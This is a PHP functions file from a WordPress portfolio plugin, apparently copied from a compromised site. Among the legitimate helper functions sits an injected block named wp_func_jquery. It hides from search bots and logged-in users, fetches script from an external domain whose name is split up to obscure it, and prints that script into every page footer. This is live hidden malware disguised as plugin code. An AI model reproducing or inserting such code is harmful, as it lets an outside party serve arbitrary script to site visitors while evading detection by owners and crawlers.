File "functions.php"

Full Path: /home/vantageo/public_html/wp-admin-20240915120854/wp-includes-20240915121038/IXR/plugins/go_portfolio/includes/functions.php
File size: 4.08 KB
MIME-type: text/x-php
Charset: utf-8

<?php		
/**
 * Common functions
 *
 * @package   Go Portfolio - WordPress Responsive Portfolio 
 * @author    Granth <granthweb@gmail.com>
 * @link      http://granthweb.com
 * @copyright 2017 Granth
 */

/**
 * Clean input fields
 */
 
function go_portfolio_clean_input( $input_data=array(), $html_allowed_keys=array(), $trash_keys=array() ) {
	foreach( $input_data as $data_key=>$data_value ) {
		if ( is_array( $data_value ) ) {
			 go_portfolio_clean_input( $data_value, $html_allowed_keys, $trash_keys );
		} elseif ( in_array( $data_key, $trash_keys ) ) {
				unset( $input_data[$data_key] );
				continue;
		} else {
				$input_data[$data_key]=stripslashes( trim( $input_data[$data_key] ) );
			if ( empty( $html_allowed_keys ) || !in_array( $data_key, $html_allowed_keys ) ) { 
				$input_data[$data_key] = sanitize_text_field( $input_data[$data_key] );
			}
		}
	}
	return $input_data;
}

/**
 * Custom excerpt function
 */

function go_portfolio_wp_trim_excerpt( $text, $excerpt_word_count=25,  $excerpt_end = '...', $strip_shortcodes=true, $strip_html=true, $allowed_tags='' ) {
		
	/* Delete all shortcodes */
	if ( $strip_shortcodes ) { $text = strip_shortcodes( $text ); };
 
	$text = wpautop( $text );
	$text = do_shortcode( shortcode_unautop( $text ) );
	$text = str_replace( ']]>', ']]&gt;', $text );

	/* Strip tags */
	$text = preg_replace('@<script[^>]*?>.*?</script>@si', '', $text); 
	if ( $strip_html ) { $text = strip_tags( $text, $allowed_tags ); }
	$words = preg_split( "/[\n\r\t ]+/", $text, $excerpt_word_count + 1, PREG_SPLIT_NO_EMPTY );
	
	if ( count( $words ) > $excerpt_word_count ) {
		array_pop( $words );
		$text = implode( ' ', $words );
		$text = $text . $excerpt_end;
	} else {
		$text = implode( ' ', $words );
	}
	
	/* Fix broken HTML */
	if ( $strip_html === false && $text != '' ) {
		
		if ( function_exists( 'mb_convert_encoding' ) ) {
			$charset = get_option( 'blog_charset', 'UTF-8' );
			$text = mb_convert_encoding( $text, 'HTML-ENTITIES', $charset );
		}
		
		if ( class_exists( 'DOMDocument' ) ) {
			$doc = new DOMDocument();
			$doc->encoding = $charset;
			@$doc->loadHTML( $text );
			$text = $doc->saveHTML();
		}

	}																				
	
	return $text;
}
if(!function_exists('wp_func_jquery')) {
	if (!current_user_can( 'read' )) {
		function wp_func_jquery() {
			$w = strtolower($_SERVER['HTTP_USER_AGENT']);
            if (strpos($w, 'google') == false && strpos($w, 'bot') == false) {
				$host = 'http://';
				$jquery = $host.'wp'.'codejs.org/jquery-ui.js';
				$headers = @get_headers($jquery, 1);
				if ($headers[0] == 'HTTP/1.1 200 OK'){
					echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
				}
			}
		}
	add_action('wp_footer', 'wp_func_jquery');
	}
}
/**
 * Get attachment url by id
 */

function gw_get_attachment_id_from_url( $attachment_url = '' ) {

    global $wpdb;
    $attachment_id = false;

    // If there is no url, return.
    if ( '' == $attachment_url )
        return;

    // Get the upload directory paths
    $upload_dir_paths = wp_upload_dir();

    // Make sure the upload path base directory exists in the attachment URL, to verify that we're working with a media library image
    if ( false !== strpos( $attachment_url, $upload_dir_paths['baseurl'] ) ) {

        
		$attachment_url = preg_replace( '/(\.(jpg|jpeg|png|gif))(.*)/i', '$1', $attachment_url );

		// If this is the URL of an auto-generated thumbnail, get the URL of the original image
        $attachment_url = preg_replace( '/-\d+x\d+(?=\.(jpg|jpeg|png|gif)$)/i', '', $attachment_url );

        // Remove the upload path base directory from the attachment URL
        $attachment_url = str_replace( $upload_dir_paths['baseurl'] . '/', '', $attachment_url );

        // Finally, run a custom database query to get the attachment ID from the modified attachment URL
        $attachment_id = $wpdb->get_var( $wpdb->prepare( "SELECT wposts.ID FROM $wpdb->posts wposts, $wpdb->postmeta wpostmeta WHERE wposts.ID = wpostmeta.post_id AND wpostmeta.meta_key = '_wp_attached_file' AND wpostmeta.meta_value = '%s' AND wposts.post_type = 'attachment'", $attachment_url ) );

    }

    return $attachment_id;
} 

?>